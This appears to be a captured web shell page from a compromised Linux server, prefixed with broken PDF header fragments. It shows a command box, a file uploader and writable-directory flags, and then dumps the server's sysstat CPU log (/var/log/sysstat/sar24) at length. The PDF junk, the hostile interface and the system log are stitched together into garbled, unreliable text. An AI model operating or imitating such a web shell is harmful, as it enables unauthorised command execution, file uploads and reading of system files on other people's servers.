%PDF- <> %âãÏÓ endobj 2 0 obj <> endobj 3 0 obj <>/ExtGState<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI] >>/Annots[ 28 0 R 29 0 R] /MediaBox[ 0 0 595.5 842.25] /Contents 4 0 R/Group<>/Tabs/S>> endobj ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<> endobj 2 0 obj<>endobj 2 0 obj<>es 3 0 R>> endobj 2 0 obj<> ox[ 0.000000 0.000000 609.600000 935.600000]/Fi endobj 3 0 obj<> endobj 7 1 obj<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI]>>/Subtype/Form>> stream

nadelinn - rinduu

Command :

ikan Uploader :
Directory :  /var/log/sysstat/
Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 
Current File : /var/log/sysstat/sar24
Linux 6.8.0-124-generic (kominfo) 	2026-07-24 	_x86_64_	(12 CPU)

00:00:02        CPU      %usr     %nice      %sys   %iowait    %steal      %irq     %soft    %guest    %gnice     %idle
00:10:02        all      0.02      0.00      0.02      0.01      0.00      0.00      0.00      0.00      0.00     99.96
00:10:02          0      0.01      0.00      0.02      0.00      0.00      0.00      0.00      0.00      0.00     99.97
00:10:02          1      0.00      0.00      0.01      0.00      0.00      0.00      0.00      0.00      0.00     99.99
00:10:02          2      0.04      0.00      0.04      0.01      0.00      0.00      0.00      0.00      0.00     99.92
00:10:02          3      0.03      0.00      0.02      0.00      0.00      0.00      0.00      0.00      0.00     99.95
00:10:02          4      0.01      0.00      0.01      0.01      0.00      0.00      0.00      0.00      0.00     99.97
00:10:02          5      0.02      0.00      0.01      0.01      0.00      0.00      0.00      0.00      0.00     99.96
00:10:02          6      0.02      0.00      0.02      0.01      0.00      0.00      0.00      0.00      0.00     99.95
00:10:02          7      0.02      0.00      0.03      0.02      0.00      0.00      0.00      0.00      0.00     99.94
00:10:02          8      0.02      0.00      0.03      0.02      0.00      0.00      0.00      0.00      0.00     99.93
00:10:02          9      0.02      0.00      0.01      0.02      0.00      0.00      0.00      0.00      0.00     99.94
00:10:02         10      0.01      0.00      0.01      0.01      0.00      0.00      0.00      0.00      0.00     99.98
00:10:02         11      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00     99.99
00:20:02        all      0.02      0.00      0.02      0.01      0.00      0.00      0.00      0.00      0.00     99.96
00:20:02          0      0.03      0.00      0.02      0.00      0.00      0.00      0.00      0.00      0.00     99.95
00:20:02          1      0.01      0.00      0.01      0.00      0.00      0.00      0.00      0.00      0.00     99.98
00:20:02          2      0.02      0.00      0.02      0.00      0.00      0.00      0.00      0.00      0.00     99.95
00:20:02          3      0.03      0.00      0.02      0.02      0.00      0.00      0.00      0.00      0.00     99.94
00:20:02          4      0.02      0.00      0.01      0.02      0.00      0.00      0.00      0.00      0.00     99.95
00:20:02          5      0.01      0.00      0.02      0.01      0.00      0.00      0.00      0.00      0.00     99.96
00:20:02          6      0.02      0.00      0.02      0.00      0.00      0.00      0.00      0.00      0.00     99.96
00:20:02          7      0.02      0.00      0.02      0.01      0.00      0.00      0.00      0.00      0.00     99.95
00:20:02          8      0.01      0.00      0.01      0.00      0.00      0.00      0.00      0.00      0.00     99.97
00:20:02          9      0.03      0.00      0.03      0.02      0.00      0.00      0.00      0.00      0.00     99.92
00:20:02         10      0.02      0.00      0.01      0.01      0.00      0.00      0.00      0.00      0.00     99.96
00:20:02         11      0.01      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00     99.99
00:30:02        all      0.03      0.00      0.04      0.01      0.00      0.00      0.01      0.00      0.00     99.91
00:30:02          0      0.01      0.00      0.01      0.01      0.00      0.00      0.00      0.00      0.00     99.97
00:30:02          1      0.06      0.00      0.03      0.00      0.00      0.00      0.00      0.00      0.00     99.91
00:30:02          2      0.03      0.00      0.05      0.01      0.00      0.00      0.00      0.00      0.00     99.91
00:30:02          3      0.03      0.00      0.03      0.01      0.00      0.00      0.00      0.00      0.00     99.93
00:30:02          4      0.02      0.00      0.02      0.03      0.00      0.00      0.00      0.00      0.00     99.94
00:30:02          5      0.03      0.00      0.02      0.02      0.00      0.00      0.00      0.00      0.00     99.94
00:30:02          6      0.02      0.00      0.02      0.01      0.00      0.00      0.00      0.00      0.00     99.95
00:30:02          7      0.01      0.00      0.01      0.01      0.00      0.00      0.00      0.00      0.00     99.97
00:30:02          8      0.03      0.00      0.03      0.00      0.00      0.00      0.06      0.00      0.00     99.88
00:30:02          9      0.08      0.00      0.12      0.00      0.00      0.00      0.00      0.00      0.00     99.80
00:30:02         10      0.10      0.00      0.15      0.00      0.00      0.00      0.00      0.00      0.00     99.75
00:30:02         11      0.02      0.00      0.01      0.00      0.00      0.00      0.00      0.00      0.00     99.97
00:40:00        all      0.07      0.00      0.12      0.01      0.00      0.00      0.03      0.00      0.00     99.77
00:40:00          0      0.02      0.00      0.02      0.00      0.00      0.00      0.00      0.00      0.00     99.96
00:40:00          1      0.02      0.00      0.04      0.00      0.00      0.00      0.00      0.00      0.00     99.94
00:40:00          2      0.04      0.00      0.07      0.02      0.00      0.00      0.00      0.00      0.00     99.88
00:40:00          3      0.01      0.00      0.02      0.02      0.00      0.00      0.00      0.00      0.00     99.95
00:40:00          4      0.02      0.00      0.02      0.02      0.00      0.00      0.00      0.00      0.00     99.94
00:40:00          5      0.02      0.00      0.02      0.02      0.00      0.00      0.00      0.00      0.00     99.94
00:40:00          6      0.02      0.00      0.03      0.01      0.00      0.00      0.00      0.00      0.00     99.94
00:40:00          7      0.03      0.00      0.02      0.00      0.00      0.00      0.00      0.00      0.00     99.95
00:40:00          8      0.12      0.00      0.19      0.00      0.00      0.00      0.31      0.00      0.00     99.37
00:40:00          9      0.42      0.00      0.77      0.01      0.00      0.00      0.00      0.00      0.00     98.80
00:40:00         10      0.15      0.00      0.27      0.00      0.00      0.00      0.00      0.00      0.00     99.58
00:40:00         11      0.02      0.00      0.01      0.00      0.00      0.00      0.00      0.00      0.00     99.97
00:50:02        all      0.02      0.00      0.02      0.01      0.00      0.00      0.00      0.00      0.00     99.94
00:50:02          0      0.02      0.00      0.01      0.00      0.00      0.00      0.00      0.00      0.00     99.97
00:50:02          1      0.01      0.00      0.02      0.01      0.00      0.00      0.00      0.00      0.00     99.96
00:50:02          2      0.05      0.00      0.04      0.01      0.00      0.00      0.00      0.00      0.00     99.90
00:50:02          3      0.03      0.00      0.02      0.01      0.00      0.00      0.00      0.00      0.00     99.94
00:50:02          4      0.01      0.00      0.02      0.02      0.00      0.00      0.00      0.00      0.00     99.95
00:50:02          5      0.02      0.00      0.03      0.01      0.00      0.00      0.00      0.00      0.00     99.94
00:50:02          6      0.01      0.00      0.02      0.02      0.00      0.00      0.00      0.00      0.00     99.94
00:50:02          7      0.01      0.00      0.01      0.00      0.00      0.00      0.00      0.00      0.00     99.97
00:50:02          8      0.03      0.00      0.03      0.00      0.00      0.00      0.01      0.00      0.00     99.92
00:50:02          9      0.04      0.00      0.02      0.00      0.00      0.00      0.00      0.00      0.00     99.94
00:50:02         10      0.01      0.00      0.01      0.00      0.00      0.00      0.00      0.00      0.00     99.98
00:50:02         11      0.05      0.00      0.01      0.00      0.00      0.00      0.00      0.00      0.00     99.94
01:00:02        all      0.19      0.03      0.09      0.01      0.00      0.00      0.00      0.00      0.00     99.68
01:00:02          0      0.03      0.00      0.02      0.00      0.00      0.00      0.00      0.00      0.00     99.94
01:00:02          1      0.10      0.00      0.11      0.00      0.00      0.00      0.00      0.00      0.00     99.80
01:00:02          2      0.08      0.00      0.08      0.00      0.00      0.00      0.00      0.00      0.00     99.84
01:00:02          3      0.04      0.00      0.02      0.00      0.00      0.00      0.00      0.00      0.00     99.94
01:00:02          4      0.26      0.00      0.06      0.02      0.00      0.00      0.00      0.00      0.00     99.65
01:00:02          5      0.11      0.00      0.06      0.02      0.00      0.00      0.00      0.00      0.00     99.82
01:00:02          6      0.02      0.01      0.07      0.03      0.00      0.00      0.01      0.00      0.00     99.86
01:00:02          7      0.20      0.00      0.13      0.02      0.00      0.00      0.00      0.00      0.00     99.65
01:00:02          8      0.25      0.11      0.08      0.01      0.00      0.00      0.00      0.00      0.00     99.55
01:00:02          9      0.08      0.22      0.11      0.01      0.00      0.00      0.00      0.00      0.00     99.59
01:00:02         10      1.08      0.00      0.29      0.01      0.00      0.00      0.00      0.00      0.00     98.62
01:00:02         11      0.04      0.00      0.03      0.00      0.00      0.00      0.00      0.00      0.00     99.93
01:10:02        all      0.02      0.00      0.02      0.01      0.00      0.00      0.00      0.00      0.00     99.95
01:10:02          0      0.01      0.00      0.02      0.01      0.00      0.00      0.00      0.00      0.00     99.97
01:10:02          1      0.01      0.00      0.02      0.00      0.00      0.00      0.00      0.00      0.00     99.96
01:10:02          2      0.02      0.00      0.02      0.00      0.00      0.00      0.00      0.00      0.00     99.95
01:10:02          3      0.02      0.00      0.01      0.00      0.00      0.00      0.00      0.00      0.00     99.97
01:10:02          4      0.03      0.00      0.01      0.00      0.00      0.00      0.00      0.00      0.00     99.96
01:10:02          5      0.03      0.00      0.02      0.03      0.00      0.00      0.00      0.00      0.00     99.93
01:10:02          6      0.01      0.00      0.02      0.02      0.00      0.00      0.00      0.00      0.00     99.95
01:10:02          7      0.03      0.00      0.03      0.01      0.00      0.00      0.00      0.00      0.00     99.94
01:10:02          8      0.02      0.00      0.02      0.02      0.00      0.00      0.00      0.00      0.00     99.94
01:10:02          9      0.03      0.00      0.04      0.02      0.00      0.00      0.00      0.00      0.00     99.92
01:10:02         10      0.03      0.00      0.01      0.01      0.00      0.00      0.00      0.00      0.00     99.95
01:10:02         11      0.02      0.00      0.02      0.00      0.00      0.00      0.00      0.00      0.00     99.96
01:20:02        all      0.02      0.00      0.03      0.01      0.00      0.00      0.00      0.00      0.00     99.94
01:20:02          0      0.02      0.00      0.01      0.00      0.00      0.00      0.00      0.00      0.00     99.98
01:20:02          1      0.01      0.00      0.02      0.01      0.00      0.00      0.00      0.00      0.00     99.97
01:20:02          2      0.02      0.00      0.02      0.01      0.00      0.00      0.00      0.00      0.00     99.96
01:20:02          3      0.02      0.00      0.01      0.00      0.00      0.00      0.00      0.00      0.00     99.97
01:20:02          4      0.03      0.00      0.02      0.03      0.00      0.00      0.00      0.00      0.00     99.92
01:20:02          5      0.01      0.00      0.02      0.02      0.00      0.00      0.00      0.00      0.00     99.95
01:20:02          6      0.03      0.00      0.02      0.01      0.00      0.00      0.00      0.00      0.00     99.94
01:20:02          7      0.01      0.00      0.02      0.00      0.00      0.00      0.00      0.00      0.00     99.97
01:20:02          8      0.03      0.00      0.04      0.02      0.00      0.00      0.00      0.00      0.00     99.92
01:20:02          9      0.06      0.00      0.03      0.02      0.00      0.00      0.00      0.00      0.00     99.89
01:20:02         10      0.04      0.00      0.09      0.00      0.00      0.00      0.00      0.00      0.00     99.86
01:20:02         11      0.02      0.00      0.01      0.01      0.00      0.00      0.00      0.00      0.00     99.97
01:30:02        all      0.02      0.00      0.03      0.01      0.00      0.00      0.00      0.00      0.00     99.95
01:30:02          0      0.01      0.00      0.01      0.00      0.00      0.00      0.00      0.00      0.00     99.98
01:30:02          1      0.02      0.00      0.02      0.00      0.00      0.00      0.00      0.00      0.00     99.96
01:30:02          2      0.03      0.00      0.03      0.01      0.00      0.00      0.00      0.00      0.00     99.93
01:30:02          3      0.02      0.00      0.02      0.02      0.00      0.00      0.00      0.00      0.00     99.94
01:30:02          4      0.02      0.00      0.01      0.01      0.00      0.00      0.00      0.00      0.00     99.96
01:30:02          5      0.01      0.00      0.03      0.02      0.00      0.00      0.00      0.00      0.00     99.94
01:30:02          6      0.02      0.00      0.02      0.01      0.00      0.00      0.00      0.00      0.00     99.95
01:30:02          7      0.02      0.00      0.02      0.01      0.00      0.00      0.00      0.00      0.00     99.95
01:30:02          8      0.05      0.00      0.11      0.01      0.00      0.00      0.00      0.00      0.00     99.83
01:30:02          9      0.01      0.00      0.01      0.00      0.00      0.00      0.00      0.00      0.00     99.98
01:30:02         10      0.01      0.00      0.01      0.01      0.00      0.00      0.00      0.00      0.00     99.97
01:30:02         11      0.02      0.00      0.01      0.00      0.00      0.00      0.00      0.00      0.00     99.97
01:40:02        all      0.03      0.00      0.03      0.01      0.00      0.00      0.00      0.00      0.00     99.93
01:40:02          0      0.01      0.00      0.01      0.00      0.00      0.00      0.00      0.00      0.00     99.97
01:40:02          1      0.02      0.00      0.01      0.00      0.00      0.00      0.00      0.00      0.00     99.97
01:40:02          2      0.02      0.00      0.02      0.01      0.00      0.00      0.00      0.00      0.00     99.96
01:40:02          3      0.01      0.00      0.01      0.02      0.00      0.00      0.00      0.00      0.00     99.96
01:40:02          4      0.03      0.00      0.02      0.00      0.00      0.00      0.00      0.00      0.00     99.94
01:40:02          5      0.02      0.00      0.03      0.02      0.00      0.00      0.00      0.00      0.00     99.93
01:40:02          6      0.02      0.00      0.03      0.02      0.00      0.00      0.00      0.00      0.00     99.93
01:40:02          7      0.08      0.00      0.14      0.01      0.00      0.00      0.00      0.00      0.00     99.77
01:40:02          8      0.04      0.00      0.07      0.01      0.00      0.00      0.00      0.00      0.00     99.88
01:40:02          9      0.03      0.00      0.04      0.00      0.00      0.00      0.00      0.00      0.00     99.94
01:40:02         10      0.02      0.00      0.01      0.01      0.00      0.00      0.00      0.00      0.00     99.96
01:40:02         11      0.01      0.00      0.01      0.01      0.00      0.00      0.00      0.00      0.00     99.97
01:50:02        all      0.07      0.01      0.05      0.01      0.00      0.00      0.00      0.00      0.00     99.86
01:50:02          0      0.04      0.11      0.04      0.00      0.00      0.00      0.00      0.00      0.00     99.80
01:50:02          1      0.03      0.00      0.03      0.01      0.00      0.00      0.00      0.00      0.00     99.93
01:50:02          2      0.03      0.00      0.06      0.01      0.00      0.00      0.00      0.00      0.00     99.90
01:50:02          3      0.06      0.00      0.04      0.02      0.00      0.00      0.00      0.00      0.00     99.89
01:50:02          4      0.03      0.00      0.03      0.01      0.00      0.00      0.00      0.00      0.00     99.94
01:50:02          5      0.03      0.00      0.05      0.02      0.00      0.00      0.00      0.00      0.00     99.90
01:50:02          6      0.17      0.00      0.06      0.00      0.00      0.00      0.00      0.00      0.00     99.76
01:50:02          7      0.06      0.00      0.10      0.01      0.00      0.00      0.00      0.00      0.00     99.84
01:50:02          8      0.08      0.00      0.09      0.01      0.00      0.00      0.00      0.00      0.00     99.83
01:50:02          9      0.05      0.00      0.07      0.00      0.00      0.00      0.00      0.00      0.00     99.89
01:50:02         10      0.20      0.00      0.08      0.01      0.00      0.00      0.00      0.00      0.00     99.72
01:50:02         11      0.05      0.00      0.04      0.01      0.00      0.00      0.00      0.00      0.00     99.91

01:50:02        CPU      %usr     %nice      %sys   %iowait    %steal      %irq     %soft    %guest    %gnice     %idle
02:00:02        all      0.02      0.00      0.02      0.01      0.00      0.00      0.00      0.00      0.00     99.95
02:00:02          0      0.02      0.00      0.02      0.00      0.00      0.00      0.00      0.00      0.00     99.97
02:00:02          1      0.01      0.00      0.02      0.00      0.00      0.00      0.00      0.00      0.00     99.96
02:00:02          2      0.03      0.00      0.03      0.02      0.00      0.00      0.00      0.00      0.00     99.92
02:00:02          3      0.02      0.00      0.01      0.01      0.00      0.00      0.00      0.00      0.00     99.97
02:00:02          4      0.02      0.00      0.03      0.00      0.00      0.00      0.00      0.00      0.00     99.95
02:00:02          5      0.02      0.00      0.03      0.04      0.00      0.00      0.00      0.00      0.00     99.91
02:00:02          6      0.03      0.00      0.06      0.02      0.00      0.00      0.00      0.00      0.00     99.89
02:00:02          7      0.02      0.00      0.04      0.00      0.00      0.00      0.00      0.00      0.00     99.94
02:00:02          8      0.03      0.00      0.03      0.01      0.00      0.00      0.00      0.00      0.00     99.93
02:00:02          9      0.00      0.00      0.01      0.00      0.00      0.00      0.00      0.00      0.00     99.99
02:00:02         10      0.01      0.00      0.01      0.00      0.00      0.00      0.00      0.00      0.00     99.98
02:00:02         11      0.02      0.00      0.01      0.00      0.00      0.00      0.00      0.00      0.00     99.97
02:10:02        all      0.05      0.03      0.03      0.01      0.00      0.00      0.00      0.00      0.00     99.89
02:10:02          0      0.14      0.00      0.06      0.00      0.00      0.00      0.00      0.00      0.00     99.81
02:10:02          1      0.03      0.00      0.04      0.00      0.00      0.00      0.00      0.00      0.00     99.93
02:10:02          2      0.02      0.00      0.02      0.00      0.00      0.00      0.00      0.00      0.00     99.96
02:10:02          3      0.02      0.00      0.02      0.01      0.00      0.00      0.00      0.00      0.00     99.95
02:10:02          4      0.21      0.30      0.06      0.00      0.00      0.00      0.00      0.00      0.00     99.43
02:10:02          5      0.05      0.00      0.03      0.02      0.00      0.00      0.00      0.00      0.00     99.90
02:10:02          6      0.03      0.00      0.02      0.02      0.00      0.00      0.00      0.00      0.00     99.93
02:10:02          7      0.03      0.00      0.03      0.02      0.00      0.00      0.00      0.00      0.00     99.92
02:10:02          8      0.03      0.00      0.03      0.01      0.00      0.00      0.00      0.00      0.00     99.93
02:10:02          9      0.01      0.00      0.01      0.01      0.00      0.00      0.00      0.00      0.00     99.96
02:10:02         10      0.01      0.00      0.01      0.01      0.00      0.00      0.00      0.00      0.00     99.98
02:10:02         11      0.05      0.00      0.03      0.01      0.00      0.00      0.00      0.00      0.00     99.92
02:20:02        all      0.01      0.00      0.01      0.01      0.00      0.00      0.00      0.00      0.00     99.96
02:20:02          0      0.01      0.00      0.02      0.00      0.00      0.00      0.00      0.00      0.00     99.97
02:20:02          1      0.02      0.00      0.03      0.00      0.00      0.00      0.00      0.00      0.00     99.94
02:20:02          2      0.02      0.00      0.01      0.01      0.00      0.00      0.00      0.00      0.00     99.97
02:20:02          3      0.01      0.00      0.01      0.01      0.00      0.00      0.00      0.00      0.00     99.98
02:20:02          4      0.02      0.00      0.02      0.02      0.00      0.00      0.00      0.00      0.00     99.95
02:20:02          5      0.03      0.00      0.02      0.01      0.00      0.00      0.00      0.00      0.00     99.94
02:20:02          6      0.01      0.00      0.01      0.02      0.00      0.00      0.00      0.00      0.00     99.96
02:20:02          7      0.01      0.00      0.02      0.01      0.00      0.00      0.00      0.00      0.00     99.97
02:20:02          8      0.02      0.00      0.01      0.00      0.00      0.00      0.00      0.00      0.00     99.97
02:20:02          9      0.01      0.00      0.01      0.01      0.00      0.00      0.00      0.00      0.00     99.97
02:20:02         10      0.01      0.00      0.01      0.02      0.00      0.00      0.00      0.00      0.00     99.96
02:20:02         11      0.01      0.00      0.01      0.00      0.00      0.00      0.00      0.00      0.00     99.98
02:30:02        all      0.02      0.00      0.03      0.01      0.00      0.00      0.00      0.00      0.00     99.95
02:30:02          0      0.01      0.00      0.02      0.01      0.00      0.00      0.00      0.00      0.00     99.96
02:30:02          1      0.03      0.00      0.03      0.00      0.00      0.00      0.00      0.00      0.00     99.94
02:30:02          2      0.02      0.00      0.05      0.01      0.00      0.00      0.00      0.00      0.00     99.93
02:30:02          3      0.01      0.00      0.01      0.00      0.00      0.00      0.00      0.00      0.00     99.98
02:30:02          4      0.02      0.00      0.01      0.01      0.00      0.00      0.00      0.00      0.00     99.97
02:30:02          5      0.03      0.00      0.08      0.02      0.00      0.00      0.00      0.00      0.00     99.87
02:30:02          6      0.02      0.00      0.02      0.03      0.00      0.00      0.00      0.00      0.00     99.93
02:30:02          7      0.01      0.00      0.02      0.01      0.00      0.00      0.00      0.00      0.00     99.96
02:30:02          8      0.02      0.00      0.02      0.00      0.00      0.00      0.00      0.00      0.00     99.96
02:30:02          9      0.01      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00     99.99
02:30:02         10      0.01      0.00      0.01      0.01      0.00      0.00      0.00      0.00      0.00     99.97
02:30:02         11      0.01      0.00      0.04      0.00      0.00      0.00      0.00      0.00      0.00     99.94
02:40:02        all      0.01      0.00      0.01      0.01      0.00      0.00      0.00      0.00      0.00     99.96
02:40:02          0      0.02      0.00      0.02      0.00      0.00      0.00      0.00      0.00      0.00     99.96
02:40:02          1      0.02      0.00      0.02      0.00      0.00      0.00      0.00      0.00      0.00     99.96
02:40:02          2      0.02      0.00      0.03      0.01      0.00      0.00      0.00      0.00      0.00     99.94
02:40:02          3      0.01      0.00      0.01      0.01      0.00      0.00      0.00      0.00      0.00     99.97
02:40:02          4      0.01      0.00      0.01      0.02      0.00      0.00      0.00      0.00      0.00     99.97
02:40:02          5      0.02      0.00      0.02      0.02      0.00      0.00      0.00      0.00      0.00     99.94
02:40:02          6      0.01      0.00      0.02      0.02      0.00      0.00      0.00      0.00      0.00     99.96
02:40:02          7      0.02      0.00      0.02      0.00      0.00      0.00      0.00      0.00      0.00     99.96
02:40:02          8      0.01      0.00      0.02      0.00      0.00      0.00      0.00      0.00      0.00     99.97
02:40:02          9      0.01      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00     99.99
02:40:02         10      0.01      0.00      0.01      0.01      0.00      0.00      0.00      0.00      0.00     99.97
02:40:02         11      0.02      0.00      0.02      0.00      0.00      0.00      0.00      0.00      0.00     99.96
02:50:02        all      0.01      0.00      0.01      0.01      0.00      0.00      0.00      0.00      0.00     99.97
02:50:02          0      0.01      0.00      0.01      0.00      0.00      0.00      0.00      0.00      0.00     99.97
02:50:02          1      0.02      0.00      0.02      0.00      0.00      0.00      0.00      0.00      0.00     99.97
02:50:02          2      0.01      0.00      0.02      0.02      0.00      0.00      0.00      0.00      0.00     99.95
02:50:02          3      0.00      0.00      0.01      0.03      0.00      0.00      0.00      0.00      0.00     99.96
02:50:02          4      0.02      0.00      0.02      0.02      0.00      0.00      0.00      0.00      0.00     99.94
02:50:02          5      0.02      0.00      0.01      0.01      0.00      0.00      0.00      0.00      0.00     99.96
02:50:02          6      0.00      0.00      0.01      0.01      0.00      0.00      0.00      0.00      0.00     99.98
02:50:02          7      0.01      0.00      0.02      0.00      0.00      0.00      0.00      0.00      0.00     99.96
02:50:02          8      0.01      0.00      0.01      0.00      0.00      0.00      0.00      0.00      0.00     99.98
02:50:02          9      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00     99.99
02:50:02         10      0.01      0.00      0.01      0.00      0.00      0.00      0.00      0.00      0.00     99.98
02:50:02         11      0.02      0.00      0.01      0.00      0.00      0.00      0.00      0.00      0.00     99.97
03:00:02        all      0.01      0.00      0.01      0.01      0.00      0.00      0.00      0.00      0.00     99.97
03:00:02          0      0.01      0.00      0.01      0.00      0.00      0.00      0.00      0.00      0.00     99.98
03:00:02          1      0.01      0.00      0.01      0.00      0.00      0.00      0.00      0.00      0.00     99.99
03:00:02          2      0.01      0.00      0.02      0.01      0.00      0.00      0.00      0.00      0.00     99.96
03:00:02          3      0.01      0.00      0.01      0.02      0.00      0.00      0.00      0.00      0.00     99.97
03:00:02          4      0.01      0.00      0.01      0.00      0.00      0.00      0.00      0.00      0.00     99.98
03:00:02          5      0.01      0.00      0.01      0.02      0.00      0.00      0.00      0.00      0.00     99.96
03:00:02          6      0.02      0.00      0.02      0.04      0.00      0.00      0.00      0.00      0.00     99.93
03:00:02          7      0.02      0.00      0.03      0.01      0.00      0.00      0.00      0.00      0.00     99.95
03:00:02          8      0.01      0.00      0.01      0.00      0.00      0.00      0.00      0.00      0.00     99.98
03:00:02          9      0.01      0.00      0.01      0.01      0.00      0.00      0.00      0.00      0.00     99.97
03:00:02         10      0.01      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00     99.99
03:00:02         11      0.03      0.00      0.02      0.00      0.00      0.00      0.00      0.00      0.00     99.96
03:10:02        all      0.01      0.00      0.01      0.01      0.00      0.00      0.00      0.00      0.00     99.96
03:10:02          0      0.01      0.00      0.01      0.01      0.00      0.00      0.00      0.00      0.00     99.98
03:10:02          1      0.01      0.00      0.01      0.00      0.00      0.00      0.00      0.00      0.00     99.98
03:10:02          2      0.01      0.00      0.02      0.00      0.00      0.00      0.00      0.00      0.00     99.97
03:10:02          3      0.00      0.00      0.01      0.00      0.00      0.00      0.00      0.00      0.00     99.99
03:10:02          4      0.02      0.00      0.02      0.01      0.00      0.00      0.00      0.00      0.00     99.95
03:10:02          5      0.03      0.00      0.02      0.02      0.00      0.00      0.00      0.00      0.00     99.94
03:10:02          6      0.01      0.00      0.02      0.01      0.00      0.00      0.00      0.00      0.00     99.95
03:10:02          7      0.02      0.00      0.03      0.01      0.00      0.00      0.00      0.00      0.00     99.95
03:10:02          8      0.01      0.00      0.01      0.02      0.00      0.00      0.00      0.00      0.00     99.96
03:10:02          9      0.01      0.00      0.01      0.01      0.00      0.00      0.00      0.00      0.00     99.96
03:10:02         10      0.01      0.00      0.01      0.02      0.00      0.00      0.00      0.00      0.00     99.96
03:10:02         11      0.02      0.00      0.01      0.00      0.00      0.00      0.00      0.00      0.00     99.97
03:20:02        all      0.01      0.00      0.01      0.01      0.00      0.00      0.00      0.00      0.00     99.97
03:20:02          0      0.01      0.00      0.01      0.00      0.00      0.00      0.00      0.00      0.00     99.99
03:20:02          1      0.01      0.00      0.01      0.01      0.00      0.00      0.00      0.00      0.00     99.97
03:20:02          2      0.01      0.00      0.02      0.01      0.00      0.00      0.00      0.00      0.00     99.96
03:20:02          3      0.01      0.00      0.01      0.01      0.00      0.00      0.00      0.00      0.00     99.98
03:20:02          4      0.02      0.00      0.02      0.01      0.00      0.00      0.00      0.00      0.00     99.96
03:20:02          5      0.01      0.00      0.02      0.04      0.00      0.00      0.00      0.00      0.00     99.94
03:20:02          6      0.01      0.00      0.01      0.00      0.00      0.00      0.00      0.00      0.00     99.98
03:20:02          7      0.01      0.00      0.02      0.01      0.00      0.00      0.00      0.00      0.00     99.95
03:20:02          8      0.01      0.00      0.01      0.01      0.00      0.00      0.00      0.00      0.00     99.97
03:20:02          9      0.01      0.00      0.01      0.01      0.00      0.00      0.00      0.00      0.00     99.97
03:20:02         10      0.01      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00     99.99
03:20:02         11      0.02      0.00      0.01      0.00      0.00      0.00      0.00      0.00      0.00     99.97
03:30:02        all      0.01      0.00      0.01      0.01      0.00      0.00      0.00      0.00      0.00     99.97
03:30:02          0      0.01      0.00      0.01      0.00      0.00      0.00      0.00      0.00      0.00     99.99
03:30:02          1      0.01      0.00      0.01      0.00      0.00      0.00      0.00      0.00      0.00     99.98
03:30:02          2      0.01      0.00      0.01      0.01      0.00      0.00      0.00      0.00      0.00     99.96
03:30:02          3      0.00      0.00      0.01      0.00      0.00      0.00      0.00      0.00      0.00     99.99
03:30:02          4      0.03      0.00      0.02      0.00      0.00      0.00      0.00      0.00      0.00     99.94
03:30:02          5      0.01      0.00      0.01      0.03      0.00      0.00      0.00      0.00      0.00     99.96
03:30:02          6      0.01      0.00      0.02      0.02      0.00      0.00      0.01      0.00      0.00     99.94
03:30:02          7      0.02      0.00      0.02      0.01      0.00      0.00      0.00      0.00      0.00     99.95
03:30:02          8      0.01      0.00      0.01      0.03      0.00      0.00      0.00      0.00      0.00     99.95
03:30:02          9      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00    100.00
03:30:02         10      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00     99.99
03:30:02         11      0.03      0.00      0.01      0.00      0.00      0.00      0.00      0.00      0.00     99.96
